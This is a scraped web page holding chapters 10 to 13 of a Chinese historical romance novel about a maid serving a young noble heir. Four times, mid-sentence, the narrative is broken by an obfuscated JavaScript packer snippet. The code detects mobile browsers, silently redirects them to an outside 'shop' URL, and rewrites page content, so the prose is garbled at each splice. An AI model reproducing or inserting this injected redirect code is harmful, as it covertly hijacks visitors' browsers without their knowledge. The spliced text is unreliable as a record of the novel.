苏晟杰着急地用手敲了一下椅子的扶手:“我们是亲人,一荣俱荣一损俱损,你何必要如此防范于我?” 裴霁曦低头沉默不语。 初雪晴见气氛不洽,将沏好的茶端上来,先双手递到苏晟杰旁的条几上,轻声道:“表公子请用茶,此茶是从邺清带来的,虽不似南茶般细致精妙,却别具风味。” 随后,她把另一杯茶递给裴霁曦,轻语:“世子,表公子送了些补品给老夫人,老夫人甚是欢喜。” 裴霁曦闻她此言,抿唇不语。 苏晟杰见小丫鬟年龄不大,说话却文雅,诧异过后,一时也没有先前那般急躁,他身子向前探了探,对裴霁曦道:“曦儿,父亲在宫中看到你,你却未和他言语,父亲知道你有怨言,可我们始终是有姻亲关系的。” 裴霁曦淡漠道:“我并无甚怨言,舅父思虑过多了。” 苏晟杰黯然低下头:“姑母在世时,我们还常有走动,自从姑母带你随姑父前往邺清……”说着声音渐低,“姑母去世时,路途太远,父亲在京任要职,不方便前往边关,可我们同样忧心。” 裴霁曦打断他的话:“我对此并无怨言,此次来京,身份敏感,不便去向舅父请安,并非挟怨不去。” 苏晟杰叹气道:“现在朝中都在说你定远侯府功高盖主,藐视圣恩,但也有传言你遇袭受伤,我知侯府忠心不二,定是你受伤不便进宫,如今侯府危机四伏,你可知是何人指使?” 裴霁曦显然不愿再继续这个话题,转过头道:“表兄既知侯府危机四伏,何必前来探望,我并非不念亲情,只是怕徒增事端罢了。” 苏晟杰摇头道:“父亲已然避嫌,只是派我前来探视,但并非怕对自己官声不利,而是怕让陛下更加忌惮定远侯。” “表兄慎言。” 苏晟杰无奈叹气:“朝中势力虽然复杂,但没有人比那位更忌惮侯府。”顿了顿,又轻声道,“父亲说,此前我来侯府之后,礼部余尚书当日就与他约茶了。” 裴霁曦眸中闪过一丝异色:“多谢提醒。” 苏晟杰又道:“现下边境太平,鸟尽弓藏,的确难过,但太子不一样,太子心性纯善,待日后得登大统,定不会亏待侯府的。” 说着,他端起身旁的茶一饮而尽:“果然和南茶的味道不一样,以后还要常来侯府讨茶喝了。对了,后日表妹的及笄礼,母亲准备了一套红玛瑙镶翠金头面,本打算后日亲自来送,可方才问过老夫人,不打算大办,还是得拖你转交给表妹。” 裴霁曦的庶妹裴雨檀过两日及笄礼,虽是庶女,可也是定远侯唯一的女儿,除了世子院子里的人,府里上下都在为此准备,即使不能大办,也是要好好准备的。 苏晟杰不是裴雨檀亲表兄,为了避嫌,还是拖裴霁曦转交。 * 苏晟杰走后,裴霁曦唤了初雪晴到书房。 他绕到书桌后坐在紫檀木雕花椅上,手指轻点书桌上的端石长方砚,示意初雪晴磨墨。 初雪晴用砚滴向砚台中滴入清水,拿起墨锭,在砚台中轻轻打圈。 裴霁曦看着她熟练的动作,问道:“只这几日,俗务已经这般熟练了?” 初雪晴轻声答:“世子谬赞,先前进府就已经学了大部分,这几日只是加了一些规矩。” “也包括替老夫人看着本世子?” 初雪晴手中一顿,放下墨锭,跪到书桌旁边:“奴婢逾矩,请世子责罚。” “起来吧。”裴霁曦声音并无怒意,但仍让初雪晴觉得捉摸不透。 她只觉自己最近有些放松,不自然就在日常相处中带入了自己本来的习惯。碰见冲突场面,本能地想做些什么去缓和气氛。 可她现在只是一个丫鬟,没有人权,更没有这个责任。 裴霁曦淡然问道:“是老夫人让你提醒我,对表公子客气些?” 初雪晴犹豫片刻,摸不清裴霁曦的态度,就在她思索的片刻,裴霁曦又道:“不是要责罚你,实话实说便可。” “并非老夫人授意。”初雪晴躬身答道,“奴婢只是觉得,表公子不是害世子的人,侯府在京中本就孤立无援,若还将表公子一家推出去,连许多消息源头都堵死了,不若暗中来往,多个助力。” 裴霁曦看着她瘦弱的身躯,恍然想起初到京城时,那个被水淋湿衣服,诚惶诚恐跪着认错的小丫鬟。 原来是她。 两副模样,天差地别,不知这小丫鬟还藏了什么面具。 “你很聪明。”裴霁曦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591058|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,“怎么现在不守拙藏智了?” 看初雪晴谨慎的样子,他也没有再继续吓她,只道:“你以为你能看出来的,我看不出?” 初雪晴略一思索,便明白了,裴霁曦看似对苏晟杰态度冷淡,但实际是做给外人看的,以防牵连身为吏部侍郎的舅舅。 初雪晴忙道:“奴婢自作聪明,请世子责罚。” 裴霁曦并没有责罚她,点到即止,“你去将表公子送来的头面,给小姐送过去吧。” 初雪晴应是出屋,待她退出去了,裴霁曦才唤了墨语进来,吩咐道:“去查查冬雪入府前的事情。” * 初雪晴双手捧着装有头面的盒子,小心翼翼迈着步子到了裴雨檀的院子。由于侯夫人早逝,裴雨檀现在跟着姨娘李氏住在一个院子。 李氏正在老夫人院子里伺候着,院中只有裴雨檀一个主子,正捧着绷子在院中亭廊下绣花,身旁仅立着一个丫鬟,那丫鬟劝慰着:“小姐,院中寒凉,后日就是笄礼了,您还是进屋再绣吧。” 裴雨檀轻弯唇角,声音婉转清幽:“这雪景这么美,我要将这雪景绣出来,回邺清了给若渊哥哥看,究竟是邺清的雪美,还是京城的雪美。” 丫鬟打趣道:“您这手都冻红了,方将军知道了该心疼了!” “你就会取笑我!”裴雨檀嗔道。 初雪晴不小心听到裴雨檀的心事,她无心探究,未免尴尬,在廊柱等了一会,见到她们主仆二人没了声音,才缓缓离开廊柱,走到近前行礼,道:“小姐,这是苏夫人送来的头面,贺您及笄之礼。” 裴雨檀身旁丫鬟接过盒子,在裴雨檀面前打开,裴雨檀叹到:“好精致的玛瑙,舅母真是有心了。”她抬眼看了看初雪晴,问道,“你是祖母院子里的?” 初雪晴答道:“奴婢是世子院子里的丫鬟。” 裴雨檀和裴霁曦并不亲,她一直对兄长又敬又怕,听闻是世子的丫鬟,她放下绣绷起身,“难道你就是救了兄长那个丫鬟?天这么冷,怎还劳烦兄长的人来送。”她吩咐身旁丫鬟,“香兰,快拿个手炉来。” 初雪晴忙道:“多谢小姐,奴婢不冷。”可手中还是被香兰塞入了一个热乎乎的手炉。 裴雨檀还让香兰拿个大氅来,初雪晴连忙拒绝。 丫鬟香兰一脸艳羡道:“原来你就是冬雪妹妹,早就听闻有个丫鬟救了世子,被老夫人放到世子身边做了贴身丫鬟,世子还从未有过贴身丫鬟呢,妹妹日后可要多照拂我们这些小丫鬟。” 初雪晴只是做了贴身丫鬟,可不知为何,这话却说得她仿佛已经一步登天似的。她迎合了几句,便告退了。 原来同样是贴身丫鬟,一个庶女的贴身丫鬟,和府中嫡子的贴身丫鬟,竟还有区别。为何这世道,要将人分这么多等级呢? 11. 第 11 章 自表公子到府这一天起,墨语把教初雪晴识字的活给了轻风,日常伺候也没让她再操持,只道让她好好学些东西,过一阵再贴身伺候世子。 初雪晴晓得这是世子开始防范自己了,但让她专心习字倒也正符合她的心意。 “你这丫鬟可真聪明,才这么几日就认了这么多字,”轻风依旧喋喋不休,“可你这字是识得了,你得会写呀,不然就和你认识刀剑,却不会使刀剑一样,这和不会武功有什么区别?” 初雪晴心想,被放养唯一的不好,恐怕就是要忍受轻风的唠叨了。 轻风接着道:“虽然我的字写的不怎么样,可是好歹我会用笔,你看看你,连握笔都握得这般别扭。”又仿似宽慰她一般,“不过你年纪还小,我和墨语与世子同岁,都比你大三岁,我像你这般大的时候,也就比你强一点点。” 轻风还未说完,有小厮上前道,卖豆腐的杨氏来找初雪晴。 初雪晴舒了口气,对轻风道了歉,便去后院见杨氏。 杨氏已不见那日的狼狈,一身云水蓝的棉布长裙,头发随意挽了一个单螺髻,见到初雪晴,脸上漾起温婉的笑容:“冬雪,我即将离京,此次专门前来和你道别,多亏了你和世子,那日我才免遭……” 初雪晴忙道:“杨姐,糟心的事不提了,你怎么不在京城待了?” 杨氏垂眸片刻,才道:“冬雪,你还小,不知道这世道对女子而言有多么艰难。这已经不是我第一次遭遇这样的事了。” 初雪晴看着眼前清瘦的女子,想起之前有关她的流言,一时不知该做怎样的应答。 “我本是顺州人,两年前,我十五岁,刚刚嫁人,本来夫妻和睦,婆母虽有苛待,但也尚可忍耐。”她顿了顿,继续道,“可谁知前两年叛军之祸蔓延到顺州,朝廷派人镇压,在抓他们头目之时,我与夫君正巧在街上,他们头目见退无可退,便虏了我做人质。” 说到这里,她眼眶发红,渐渐开始轻泣。 初雪晴轻拍她的后背,虚揽住她,她比初雪晴高一头,初雪晴只得踮着脚就着她,又递给她一方手帕。 杨氏接过手帕,擦擦眼角,继续道:“燕雀军本是一群可怜的奴籍之人,可他们一朝叛乱,也要牵连无辜,那头目虏了我,挟我一路逃亡,出了顺州地界,便放了我。 可虽说他并未对我做什么,毕竟是在众目睽睽之下掳走了我,又带走了那么些天。不久我怀孕生子,乡里乡亲指指点点,婆母也多有不喜,虽则夫君并不介意,也愿意相信我,可他拗不过婆母,在我产子之后,便休弃了我。” 初雪晴眉头紧皱道:“为何都已为他产子,还要将你休弃?” 杨氏的嗓音透着哭腔:“因生子的日子提前了,乡亲们多有流言,加上婆母不喜,他,他也是被逼无奈……” 初雪晴紧紧握住杨氏的手,似是要通过握住这双手,握住更多卑微女子的手。 杨氏回握住初雪晴,继续道:“他前段日子进京赶考,婆母和幼子跟着一起来了,本想考上了就定居,我思念幼子,便跟着来了。没成想还是被人发现,知道了过往,流言又起,有歹人觉得我不干净,也盯上了我,这才有了白峰山的事。 如今为了避免幼子受我的流言影响,我必须离开京城了,先找个地方落脚,日后要是有机缘,再来报答你和世子的救命之恩。” “杨姐言重了,我和世子只是路见不平罢了。”初雪晴压抑着自己内心翻涌的不忿,轻声安慰,“杨姐万望保重,虽说世道艰难,但你仍有幼子在世,为了他也要捱下去。” “冬雪,你真是个可人的丫头,以后叫我若柳吧,别叫我姐了,你可是我的恩人。还有世子,身份有别,我就不去道别了,日后有机会一定报答你们。” “弱柳?是柔弱的弱?” “冬雪识字?也是,冬雪这般聪颖,不过,是仿若的若。” 初雪晴轻弯嘴角:“若柳,不似柳枝柔弱,却似柳木坚硬。” 杨若柳看向初雪晴,眼神中又升起一丝欣赏,这个小丫鬟正说进了她的心坎里。世道艰难,可以柳木之坚,也要走下去。 * 转眼春色悄然而至,侯府的花园里,已经悄悄从灰败的冬色转至清嫩的绿色,零星点着斑斓的花色。 初雪晴跟着轻风学了几月,又有之前的基础,已识得许多字了,虽说写字仍然差强人意,但是已能自己读一些简单的书籍,便和轻风说不用他日日辅导,免得耽误他的活。 轻风也不想再辅导她,他发现冬雪太过聪明,不仅认字学得快,连识义也是一点就通,甚至很多东西,他还未懂,冬雪就已经触类旁通了。他毕竟学问有限,也是跟着世子囫囵吞枣学了一点,这样下去,他都不知道该教冬雪什么了。 这段时日,初雪晴并未有多少机会伺候世子,甚至很少见到世子,白白担了贴身丫鬟的名义。 今日赵嬷嬷前来叫初雪晴去老夫人院子里,初雪晴心中明白,自己在世子院子里的日子,定不能一直这般悠闲。 在去世子院子的路上,她看见霜华躲在一棵粗壮榆树后,欲盖弥彰地偷偷瞧她,便知霜华定然在老夫人面前说了什么闲话。 在厅堂见到老夫人,初雪晴屈身问安。 老夫人坐在主位的黑漆描金椅上,手中端着一盏茶,慢悠悠地品着。身旁立着李氏,为她奉茶。 老夫人不说话,初雪晴不敢直起身,不知过了多长时间,久到初雪晴的腰都开始变酸,老夫人才发声:“你在世子院子做得可还舒心?” 初雪晴斟酌道:“承蒙世子抬爱,奴婢用心学习世子交代的功课,不敢懈怠。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591059|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “功课?”老夫人瞥她一眼,“何时做丫鬟也要学功课了?不知道的还以为我们养了个小姐。” 初雪晴垂眸道:“老夫人恕罪。” 一旁的李氏见状,对老夫人道:“老夫人,您把这丫鬟吓到了。不过是因为她救了世子,世子想教她些东西罢了。” 老夫人瞥了李氏一眼,李氏抬抬眉,无奈噤了声。 “起来吧,”老夫人声音渐渐放缓,“也不是不许你学东西,但是你要知道我放你到世子身边做贴身丫鬟是做什么的,贴身伺候世子才是你最重要的事。” “奴婢谨遵老夫人教诲。” 老夫人向来宽待下人,可连这样的主子,都认为奴才救主子天经地义,不用主子报答,提了她做贴身丫鬟,已是对她的恩待。 又受了几句训,她才退下。 一直在外守着的霜华见初雪晴仅是被问了几句便放回了院子,心中不喜,堵在初雪晴回院的路上,对她道:“你身为丫鬟,怎么不知道贴身丫鬟的本分,不知道好好伺候世子,你要是做不来,也别挡着别人的路。” 初雪晴淡然一笑:“那霜华姐姐,什么是贴身丫鬟的本分呢?” 霜华急道:“自然是贴身伺候世子,反正不像你一样天天念书,还真当自己是小姐呢!” 初雪晴不愿和小丫头计较,缓缓道:“我只知道,世子让我做什么,我便做什么,既然世子让我读书,以后必有用得到的地方。” “你一个丫鬟,读书有什么用?”霜华急红了眼,声音透着委屈,“反正我要是贴身丫鬟,肯定比你做的好。” 初雪晴无奈轻叹,这就是底层人的逻辑,一个贴身丫鬟,也都抢着去做,从不想丰富自己,只对着看得见的地方往上爬。 此时听闻冬雪受训的腊梅过来了,看到她俩起了争执,便来劝阻霜华:“霜华姐姐,冬雪对咱们多好呀,有好吃的都想着咱们,咱们现在在世子院子,活不累,世子又不大管咱们,还有什么不知足的呀。” 霜华瞪了她二人一眼,她巴望不着的位置,却被别人这么糟蹋了,无非是早一步找到了世子,怎的她就没有这样的运气。她擦擦泛红的眼角,哭着跑走了。 留下初雪晴对腊梅莞尔一笑:“知足常乐,还是腊梅通透。” 腊梅顺手给初雪晴塞了一把饴糖,笑着道:“对,有吃有喝,活又不多,已经是神仙般的日子啦!就是你别拉着我学字就行,我看见你在那学就头疼。对了,你不是刚挨训了么,还是赶紧去世子房里表现表现吧!” 初雪晴看着手中还残存温度的饴糖,却想到了常送她糖吃的杨若柳。杨若柳无错,却因被贼人掳走而遭受冷眼;霜华无错,她只是想走最便捷的路脱离奴仆身份;而腊梅这样不求上进甘为人奴的,也并无错。错的,只是这个世道。 12. 第 12 章 告别腊梅,初雪晴便侯在裴霁曦的书房门外。 书房内,墨语正在向裴霁曦汇报方才在老夫人院子里发生的事情:“世子,虽说冬雪的过往经历没问题,的确不是那伙刺客的人,也是凑巧才救了您。可她太过聪明,实在可疑。” 裴霁曦打断了她:“无妨,看得出她本性善良,也不过做一个丫鬟。唤她进来吧。” 正在初雪晴思忖说辞,想着要如何在不惹怒世子的情况下,达到老夫人的要求时,墨语从书房中走出,唤她进去服侍世子。 她轻手轻脚地进屋,低头站在世子书桌旁不远处。 裴霁曦正在一本书上做批注,听到她的脚步声,停下手中的笔,抬眼看了看她:“轻风说你聪明,几月便识得了许多字。” 初雪晴低语答道:“承蒙世子关照,允奴婢开蒙识字,奴婢自当勤学苦练,不负世子抬爱。”说罢顿了顿又道,“可奴婢毕竟是世子的贴身丫鬟,一切还是要以照顾世子为先,可否允奴婢日常随侍世子左右?” 裴霁曦轻叹口气:“罢了,祖母说如何便如何。但功课不可废,你日后出府,无论是想去嫁人过日子,还是做事谋生,多读书总是好的。” 初雪晴愣怔片刻,心中暖意上涌,虽说她救过他,可在等级森严的大宁,奴仆救主子本就是天经地义的事。裴霁曦却因这小小恩德,为她思筹甚远。她福身谢过裴霁曦,这个谢,不仅仅是奴仆对主子的礼节,更感恩于她在这冷漠世情中难得看到的一丝清明。 初雪晴拿起墨锭,轻轻在砚台上磨着,裴霁曦不习惯有个丫鬟一直在旁站着,打断了她:“够用了,你去旁边的窄几上看书吧。”说着随手拿了书桌上的一本书递给了她。 初雪晴接过手中的书,看了一眼,竟是兵书,打发的意味也太过明显。她默默退到了旁边的窄几上,坐在窄几旁看这本晦涩的兵书。 偶尔抬头,能看到裴霁曦凝神看书,间或提笔做些批注,午后的阳光轻洒进屋,映在他的面庞上,他脸上透明的绒毛似乎闪着金色的光辉,本是那么冷的一个人,在此刻暖金的日光下竟显得有些温暖。 初雪晴回神看手中的书,这本兵书上也有他写的批注,他的字苍劲有力,笔锋明显。结合他的批注看书,这兵法似也没那么难懂了。 她看得入神,竟没留意时间的流逝,久到阳光慢慢褪色,裴霁曦已起身站到了她的身旁:“看得这样专注,可看懂了?” 初雪晴太过专注,被这声音吓得一颤,手中的书掉到了地上。 裴霁曦见状,俯身去帮她捡书,初雪晴回神也伸手去捡,两人的头就碰到了一起,她甚至听到嘭的一声响,额头的痛感提醒她貌似犯错了。 可裴霁曦也未怒,反而嗤的一声笑,初雪晴见他这样,就忘记了道歉,轻笑出声。 裴霁曦难得展露笑容,看到初雪晴的笑,抿了抿嘴角,指着她额头道:“去找些药涂上,怎的这般柔弱,轻轻一碰就起包了。” 初雪晴摸摸额角,看到裴霁曦同她相撞的地方一点变化都没有,暗道这人莫非是石头做的。 可这石头,笑起来也好看。 * 老夫人专为裴霁曦请了一个夫子,韦浩骞老先生,他是一个武将转的文臣,告老还乡后只是偶尔去一些书院讲学。如今被老夫人请来专门教导裴霁曦。韦先生隔日来一次,每次授课完还会布置些功课。 裴霁曦的作息极其规律,韦先生不来的时候,晨起练功,用过早食还要继续练一上晌。晌午也不会小憩,整个下晌都要看书。若韦先生来,上晌授他武艺,下晌则教书。 裴霁曦虽允了初雪晴贴身侍候,但因着军中带的习惯,不让人服侍穿衣沐浴,更不让她守夜。他在府中校场练武时,由于全是男子,初雪晴也不便随侍。但先生教书时或裴霁曦自己读书时,都让初雪晴在旁侍候。 韦先生一般都在世子庭院中的八角亭为裴霁曦授课。 春日暖风吹过院中海棠,将芳香铺满庭院。从亭中向外看,春色几许,或粉得明艳,或绿得深沉,都在这方寸间努力生长。 一同听讲的,还有墨语和轻风。 墨语跟着世子上过战场,学问也比轻风好,听得很是认真,但很少说话。 轻风则对学问没有太大兴趣,经常走神,韦先生也不怪罪他,毕竟轻风嘴甜,经常逗得韦先生捧腹大笑。 而初雪晴,则是跟在一旁伺候,准备先生的茶水。 韦先生博闻强识,初雪晴哪怕在旁听着,也受益匪浅。 除了兵法谋略、四书五经,韦先生还会讲授各地风土人情,尤其是边塞诸国。这些课业,必是为裴霁曦量身定制的。 原本困在一方宅院的小丫鬟,竟有幸听到这些,初雪晴常常听到入神,忘记为先生添茶,韦先生也不怪她,只是逗趣:“小丫头这么喜欢听这些,莫非以后要效仿舞阳将军,巾帼不让须眉?” 舞阳将军是裴霁曦的姑姑裴梦芝,裴家男丁不旺,可这骨子里的武将精神却男女皆有,裴梦芝也是自小在边疆长大,一身武艺连男儿也望尘莫及,她是先帝特允的女将,如今也和定远侯一起在北疆驻守。 初雪晴脸上泛起一层红晕,浅笑着答:“奴婢怎敢和舞阳将军相提并论。” 裴霁曦见她羞赧,缓缓道:“姑母手下的副将,也都是丫鬟出身,明履营中都是女兵。” 韦先生看裴霁曦也未反驳,便笑道:“舞阳将军的左膀右臂都是丫鬟出身,丫头莫要小瞧自己呀!” 轻风也跟着附和:“是啊冬雪,你看墨语,不也跟着世子上了战场了么!当然,别和我学,我胆子小,可不敢上前线。” 他们看似玩笑的话,却让初雪晴心中泛起涟漪,她在侯府借着世子的便利,能够学到这些,若今后能在舞阳将军面前表现,是否也能摆脱这卑微的命途呢? 这日入夜,裴霁曦用过晚饭,初雪晴并未如往日一样退下,而是磨蹭着擦擦桌子,正正桌椅,实在没甚好收拾的,又杵在裴霁曦身旁,酝酿着说辞。 裴霁曦见她如此,直接问道:“可是想要练武了?” 初雪晴讶异他的通透,只得坦然道:“世子真是洞若观火,奴婢虽出身卑微,但也想做个有用之人,只是女子之身,不知该往何处努力。” 裴霁曦摇摇头:“大路通达,小路蜿蜒,世人皆可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591060|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选择自己的路,既然通达的大路不能走,蜿蜒小路也未必不可。” 裴霁曦见她似懂非懂的样子,又道:“女子可选的路不多,但定远侯府的人,会比别人多条路。” 初雪晴没想到世子如此看待女子,要知世人都是轻贱女子,就连舞阳将军拥有着赫赫战功,也总是遭人非议。 初雪晴忙谢过世子,裴霁曦却道:“不用忙着道谢,明日卯时你随我去校场,能坚持下来就允你练武。” * 翌日,日头还未升起时,初雪晴和墨语一起就在世子房门口候着。她听见世子穿衣的簌簌声,不消片刻裴霁曦就出来了。 初雪晴为了练武方便,没有穿丫鬟的服饰,头发挽了个发髻束在脑后,穿了一身利落的短打。 裴霁曦看了眼她,赞许地点了点头。 他们到了校场,日头才缓缓露出个光晕。幸好夏日渐近,天亮得早,不然摸黑练武,可真有闻鸡起舞的架势。 侯府的校场很大,别的高官府邸假山花园必不可少,可侯府最重要的地方却是校场。 校场里除了他们,还有些侍卫在操练,操练的号子合着春日的微风,让人一大早就神清气爽。 裴霁曦和墨语在校场中间的高台上练枪,却让初雪晴围着校场跑步。 初雪晴前世没有跑过步,先天性心脏病让她难以做剧烈的运动。来到大宁的时候,总是困在宅院之中,也没有机会在这么宽广的地方跑。 于她而言,跑步真是一件新鲜的事情。 眼前的日光渐渐明亮,脚下飞扬的黄土带来风尘的味道,伴着世子舞刀弄枪的“锵锵”声,她的心也渐渐开阔起来。 只是她的底子差,跑了约莫有二里,就已经受不了了,剧烈的喘息透露出她的疲惫,但世子也没有喊停的意思。 到了后来,沉重的脚步渐渐放缓,几乎是在走而不是在跑了。 裴霁曦这才将长枪抛给墨语,跑到初雪晴身边,喊道:“跟上。” 他似乎是刻意放慢了脚步,即便如此,初雪晴也需用尽全力才能跟上他,两个人用同样的步调奔跑,黄土带来的风尘味淡去,松木的香味染进她的鼻中,这还是她精挑细选为裴霁曦做的熏香。 闻着松木香气,她似乎又有了些力气,额头的汗水挡住了视线,眼睛被汗水浸得生疼,但她只管合着身旁的脚步向前奔去。 也不知跑了多久,似乎双腿都不再是自己的,她终于筋疲力竭地坐在了地上。 裴霁曦见她坐在地上,急忙停住脚步,拉住她的小臂拽她起身:“快起来,刚跑完不能立马坐下。” 可初雪晴实在没了力气,只能任裴霁曦拽着她又走了一圈。 等她慢慢缓过来的时候,才意识到,自己是让世子带着走的,可现下再甩开他就有点明显了,只得忍着世子带来的压迫感,刻意忽略小臂上的触觉。 裴霁曦觉得走得差不多了,才松开了初雪晴:“你的底子有点差,先养好底子,再开始练武。”言毕,没有等她,径自往前走着。 初雪晴看着他的背影,挺直宽厚,良久,微弯唇角,不知是在回答谁的问题,“嗯”了一声。 13. 第 13 章 就因为裴霁曦的一句底子差,接下来几个月练武的时候,初雪晴除了跑步,就是做些基本的练习,休息的时候,就看着裴霁曦练武。 裴霁曦虽然只有十六岁,脸上还带着少年人的稚嫩,但是他的身形挺括,舞起枪来更是风姿不凡,连迎风飘扬的衣角都透露着硬朗与飒爽。 裴霁曦偶尔会教她些基本的招式,可她对武术的领悟力不够,学了很长时间,也只停留在基础阶段。 不过她已觉得充实又知足,在刚来这个世界的时候,她也从未想过会有这些机遇,无论是韦先生的授课,还是世子教她的本领,都不断拓宽她的眼界,以及对这个世道的认知。 从春末到深秋,虽然武艺不精,但她明显感觉自己的身体愈发轻盈有力。 这日上晌练武时,裴霁曦被叫到老夫人院子里,轻风随世子去了,留下墨语和初雪晴在校场练武。 初雪晴跑了一段,便到高台旁看着墨语操练侍卫。 裴霁曦这两个小厮,话痨的轻风忍受不了练武的苦,倒是墨语,听说世子以前在军营的时候,就跟着世子学,年纪不大,倒像个小将一样。 墨语让侍卫自行操练,自己也去挑了支长枪握在手中。 初雪晴跟上他,温言道:“墨语,世子还未让我碰过武器,可我看你们耍枪好威风,你能先教教我吗?” 墨语怔愣片刻,反应过来,后退了一步拉开距离:“不可。” 就在初雪晴还想再争取一下的时候,听见身后传来轻风大喇喇的声音:“冬雪,你可别为难墨语了,又不是教你认字,学枪难免有接触,你可是世子的人,他怎么敢哪!” 初雪晴折身,看到世子和轻风从后方走来,尴尬的赧意浮上脸庞。 “休得胡语!”裴霁曦严声呵斥轻风。 轻风挠挠脑袋,咧出个略带歉意的笑容,便和墨语去了较远的地方练武。 裴霁曦走到初雪晴身旁,声音已去掉了恼意:“你的底子还没打好,现在开始练枪,只会伤到自己。前日教你的招式可懂了?” 初雪晴有些别扭地答道:“会一些了。” 裴霁曦轻笑:“一些?那你比划一些我看看。” 冷不丁被这样拷问,初雪晴脑中记住的动作又开始散乱,她僵硬地比划着似是而非的动作。 裴霁曦看她的拳要出不出,一点力道也无,无奈叹气,拽住她的手腕带着她出拳:“拳要带风。” 初雪晴毕竟不是这个时代的人,对男女界限本没有那么看重,以往世子教她练武,也难免有肢体接触,可今天被轻风这么开玩笑地点出,她又觉得别扭极了。 在她因手腕上的触感走神的时候,裴霁曦又拿脚拨了下她的小腿:“下盘如此不稳,就想练枪了?” 初雪晴一个没留神,腿没撑住,就被裴霁曦撂倒在地,狠狠地摔了一下。 她双腿正巧撇开,就像做了个一字马。 裴霁曦也没忍住笑了起来,拉着她的手腕要拽她起身。 初雪晴愣愣地看着裴霁曦的笑容,逆着深秋的暖阳,看到他嘴角似在发光。 他拉起自己的姿势,仿佛不是拉起一个摔倒的人,是拉起一个在沼泽中挣扎求生的落难者。 给了这个落难者生存的机会,以及,生活的机会。 心里莫名开始变暖,暖到可以忽略了身下的疼痛。 她就着他的力道起身,撑起腿的时候,又觉得腿要断了似的难受。 裴霁曦看向她身后,愣了片刻,用手蹭了蹭她上衣的下摆:“你流血了?” 怪不得她觉得这样疼,原来竟摔流血了,她忙用手摸了摸流血的地方。当她明白过来的时候,双颊陡然布满桃色,待她看到世子手中的鲜红,手忙脚乱地用衣袖擦了擦他的手。 “奴婢没有受伤,奴婢回去处理一下。”说着初雪晴逃也似的跑开了。 竟在这个时候来了初潮,也是她一直觉得自己的身体是个小孩子,没有在意,未想竟出了这么大糗。 留下裴霁曦在原地发愣,他好像明白了什么,又好像不明白,只觉手中黏腻异常,惹得他脸颊也跟着发烫。 到底和跟着他的臭小子们不一样,真的是个小姑娘啊。 虽然有了这次尴尬,可初雪晴还是照常跟着裴霁曦练武,只心中还有一丝别扭,两人都当作未发生过这件事一样,照着之前的样子相处。 只是裴霁曦似乎更加注重男女大防,能不碰触她,就不碰触她。 * 是日,一个令人难以相信的消息打破了平静的日子。 裴霁曦的表兄,苏晟杰,失足跌入护城河,殁了。 老夫人万分悲痛地告诉了裴霁曦这个消息,又说起了这事的前因后果。 苏晟杰与太子交好,太子微服出行,因争一女子与刑部尚书之子张阜发生冲突,不慎失手推张阜入河,张阜溺水身亡,而苏晟杰就在现场。 刑部尚书张德雍是二皇子生母张贵妃的嫡兄,皇后去世多年,后位空悬,张贵妃暂领后宫。 不过经大理寺查案,最终结论是,张阜自己不慎落水。 而张德雍岂肯罢休,太子有建祯帝护着,他不敢针对太子,却不肯放过苏晟杰。 想来苏晟杰此次溺亡,必有张德雍的手笔。 老夫人想到自己早逝的长子,声音中难掩悲苦:“曦儿,晟杰是个好孩子,侯府在京中眼线不多,咱们知道的时候,事情已成定局。你舅父只有一子,你舅母高龄产女本就不易,若以后无子,他们可怎么办啊?” 裴霁曦来京近一年,身边无一好友,不敢结交权宦,不敢私下交友,只有表兄不畏他故作拒人千里的冷意,时常来府中与他插科打诨。 但他也掩去悲苦,安慰祖母:“祖母莫要忧心,小心伤了身子。” 老夫人叹道:“你舅父如今身在朝堂之中,经此一事,无论哪方势力,都不会再接纳他。张家那里,更是与他结了仇。你得空,还是去见见你舅父,看看他接下来的打算,侯府能帮的就帮,毕竟我们在朝中,也就这门亲戚了。” 裴霁曦点点头。 老夫人带着裴霁曦一同去苏府吊唁,老夫人身边有丫鬟,初雪晴就留在了府上。 苏府之中,深秋的冷意伴着悲穆的气氛,在白色丧幡的飘扬中,更显寂寥。 香案上的烛火奋力燃烧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 